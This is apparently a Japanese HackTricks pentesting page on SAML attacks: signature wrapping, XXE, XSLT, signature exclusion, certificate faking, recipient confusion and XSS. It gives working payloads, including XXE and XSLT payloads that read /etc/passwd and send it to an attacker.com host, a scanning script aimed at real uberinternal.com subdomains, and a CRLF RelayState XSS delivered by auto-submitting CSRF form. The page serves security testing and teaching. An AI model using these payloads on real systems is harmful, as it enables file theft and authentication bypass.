SAML Attacks

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

SAML Basics

ツール

SAMLExtractor: URL または URL のリストを受け取り、SAML consume URL を出力するツール。

XML ラウンドトリップ

XML では、署名された部分がメモリに保存され、その後エンコード/デコード処理が行われて署名が検証されます。本来そのエンコード/デコードはデータを変更しないはずですが、その処理により、検証されるデータと元のデータが同一でない可能性がある

例えば、次のコードを確認してください:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 以前を対象にプログラムを実行すると、代わりに次の出力が得られます:

First child in original doc: Y
First child after round-trip: Z

これは上のプログラムからREXMLが見た元のXMLドキュメントの様子です:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

そしてこちらは、パースとシリアライズを一巡した後にREXMLが見たものです:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

脆弱性とその悪用方法の詳細については次を参照してください:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW)、攻撃者はXMLドキュメントが二つの異なるフェーズ(signature validationfunction invocation)で処理されることに起因する脆弱性を悪用します。これらの攻撃はXMLドキュメントの構造を変更することを伴い、具体的にはXML Signatureの妥当性を損なわないように偽造要素を注入します。この操作により、application logicが検査する要素とsignature verification moduleがチェックする要素の間に不一致が生じます。その結果、XML Signatureは技術的には有効なまま検証を通過する一方で、アプリケーションロジックは不正な要素を処理します。これにより、攻撃者はXML Signatureによる整合性保護発信元認証を事実上迂回し、検出されることなく任意のコンテンツを注入できるようになります。

以下の攻撃はthis blog post および this paper に基づいています。詳細はそちらを参照してください。

XSW #1

  • Strategy: 署名を含む新しいルート要素が追加されます。
  • Implication: バリデータが正当な “Response -> Assertion -> Subject” と攻撃者の “evil new Response -> Assertion -> Subject” を混同する可能性があり、データの整合性問題が生じます。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: enveloping signature の代わりに detached signature を利用します。
  • Implication: XSW #1と同様の「evil」構造が、整合性チェック後のビジネスロジックを欺くことを目的とします。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: 元のAssertionと同じ階層レベルに悪性のAssertionを作成します。
  • Implication: ビジネスロジックを混乱させ、悪意のあるデータを使用させることを意図しています。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: 元のAssertionが複製された(悪性の)Assertionの子になるようにします。
  • Implication: XSW #3に類似していますが、XML構造をより積極的に変更します。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Signature も元の Assertion も標準的な構成(enveloped/enveloping/detached)に従っていません。
  • Implication: コピーされたAssertionがSignatureを包含し、期待されるドキュメント構造を変更します。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: XSW #4 と #5 と同様の挿入位置だが、ひとひねりがあります。
  • Implication: コピーされたAssertionがSignatureを包含し、さらにそれが元のAssertionを包含することで、入れ子になった欺瞞的構造を作ります。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: Extensions 要素を挿入し、その子としてコピーされたAssertionを配置します。
  • Implication: Extensions 要素の制約が緩い点を突いてスキーマ検証による対策を回避するもので、OpenSAML のようなライブラリで有効です。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: 別の制約の緩いXML要素を利用したバリエーションです。
  • Implication: 元のAssertionが制約の緩い要素の子になることで、XSW #7で使われた構造を逆転させます。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Burp extension の SAML Raider を使ってリクエストをパースし、任意のXSW攻撃を適用して実行できます。

XXE

If you don’t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses は deflated and base64 encoded XML documents であり、XML External Entity (XXE) 攻撃の影響を受ける可能性があります。SAML Response のXML構造を操作することで、攻撃者はXXE脆弱性を突こうとすることができます。以下はそのような攻撃を視覚化したものです:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

ツール

Burp 拡張機能 SAML Raider を使って、SAML リクエストから POC を生成し、潜在的な XXE 脆弱性や SAML 脆弱性をテストすることもできます。

このトークも参照してください: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML を介した XSLT

XSLT の詳細については次を参照してください:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) は、XML ドキュメントを HTML、JSON、または PDF のようなさまざまな形式に変換するために使用できます。重要なのは、XSLT 変換はデジタル署名の検証よりも前に実行されるという点です。これは、有効な署名がなくても攻撃が成功し得ることを意味します。自己署名や無効な署名でも進行可能です。

ここにはこの種の脆弱性を確認するための POC が掲載されています。セクション冒頭で言及した hacktricks ページにはペイロードが掲載されています。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

ツール

Burp 拡張機能 SAML Raider を使って、SAML リクエストから POC を生成し、XSLT の脆弱性をテストすることもできます。

このトークも確認してください: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion は、Signature 要素が存在しない場合の SAML 実装の挙動を観察する手法です。この要素が欠けていると、signature validation may not occur ため、脆弱になる可能性があります。通常署名で検証される内容を書き換えてテストすることが可能です。

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

ツール

Burp 拡張機能 SAML Raider を使用することもできます。SAML Response をインターセプトし、Remove Signatures をクリックします。これにより all Signature 要素が削除されます。

署名が削除された状態でリクエストをターゲットに進めます。If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking は、Service Provider (SP) が SAML Message が信頼された Identity Provider (IdP) によって署名されていることを適切に検証するか をテストする手法です。これは *self-signed certificate を使用して SAML Response や Assertion に署名することを含み、SP と IdP 間の信頼検証プロセスを評価するのに役立ちます。

How to Conduct Certificate Faking

以下は SAML Raider Burp 拡張機能を使った手順です:

  1. SAML Response をインターセプトする。
  2. レスポンスに署名が含まれている場合、Send Certificate to SAML Raider Certs ボタンを使って証明書を SAML Raider Certs に送る。
  3. SAML Raider Certificates タブで、インポートした証明書を選択し Save and Self-Sign をクリックして、元の証明書の自己署名クローンを作成する。
  4. Burp の Proxy でインターセプトしたリクエストに戻る。XML Signature ドロップダウンから新しい自己署名証明書を選択する。
  5. Remove Signatures ボタンで既存の署名をすべて削除する。
  6. 必要に応じて、(Re-)Sign Message または (Re-)Sign Assertion ボタンを使用して、新しい証明書でメッセージやアサーションに署名する。
  7. 署名済みメッセージを転送する。認証に成功した場合、SP があなたの自己署名証明書で署名されたメッセージを受け入れていることを示し、SAML メッセージの検証プロセスに潜在的な脆弱性があることを明らかにします。

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion および Service Provider Target Confusion は、Service Provider がレスポンスの意図された受信者を正しく検証しているか を確認することに関係します。要するに、認証レスポンスが別のプロバイダ向けであった場合、Service Provider はそれを拒否するべきです。ここで重要なのは、SAML Response の SubjectConfirmationData 要素内にある Recipient フィールドです。このフィールドは Assertion を送るべき URL を指定します。実際の受信者が意図された Service Provider と一致しない場合、Assertion は無効と見なされるべきです。

How It Works

SAML Token Recipient Confusion (SAML-TRC) 攻撃が実行可能になるには、いくつかの条件が満たされる必要があります。まず、ある Service Provider(SP-Legit)に有効なアカウントが存在する必要があります。次に、ターゲットとする Service Provider(SP-Target)が、SP-Legit にサービスを提供するのと同じ Identity Provider からのトークンを受け入れる必要があります。

これらの条件が揃うと、攻撃のプロセスは単純です。共通の Identity Provider を介して SP-Legit への正当なセッションを開始します。Identity Provider から SP-Legit への SAML Response をインターセプトします。このインターセプトされた SAML Response(元々は SP-Legit 向け)を SP-Target にリダイレクトします。攻撃の成功は、SP-Target が Assertion を受け入れ、SP-Legit と同じアカウント名でリソースへのアクセスを許可するかどうかで判断されます。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Logout 機能における XSS

元の調査はthis linkから参照できます。

directory brute forcing の過程で、logout ページが以下で発見されました:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

このリンクにアクセスすると、次の場所にリダイレクトされました:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

これにより、base パラメータが URL を受け取ることが判明した。これを踏まえて、URL を javascript:alert(123); に置き換えて XSS (Cross-Site Scripting) を起こそうという発想が生まれた。

大規模悪用

この調査から:

同じライブラリを使用しているドメインを調査するために、SAMLExtractor ツールを使って uberinternal.com のサブドメインを解析した。続いて、oidauth/prompt ページを標的とするスクリプトが作成された。このスクリプトは、データを入力して出力に反映されるかを確認することで XSS (Cross-Site Scripting) をテストする。入力が実際に反映される場合、そのページを脆弱とマークする。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayStateベースのヘッダー/ボディ注入によるrXSS

いくつかの SAML SSO エンドポイントは RelayState をデコードしてから、サニタイズせずにレスポンスに反映します。改行を注入してレスポンスの Content-Type を上書きできれば、ブラウザに攻撃者制御の HTML をレンダリングさせて reflected XSS を達成できます。

  • 概要: 反映される RelayState に対する newline injection を使って response-splitting を悪用します。詳しくは CRLF injection の一般的な注記を参照してください。
  • サーバー側で RelayState が base64-decoded される場合でも動作します: header/body injection になる base64 を渡します。

一般的な手順:

  1. 改行で始まる header/body injection シーケンスを作成し、Content-Type を HTML に上書きしてから HTML/JS payload を注入します:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. シーケンスを URL-encode する(例):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. その URL-encoded 文字列を Base64-encode して RelayState に配置します。

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. 構文的に有効な SAMLResponse と作成した RelayState を含む POST を SSO エンドポイント(例: /cgi/logout)に送信します。
  2. CSRF 経由で配信: 両フィールドを含むクロスオリジンの POST を自動送信するページをホストします。

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF 配布パターン:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

動作する理由: サーバーはRelayStateをデコードし、newline injectionを許す形でレスポンスに組み込むため、攻撃者がheadersやbodyに影響を与えられます。Content-Type: text/htmlを強制すると、browserはレスポンスのbodyから攻撃者が制御するHTMLをレンダリングします。

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする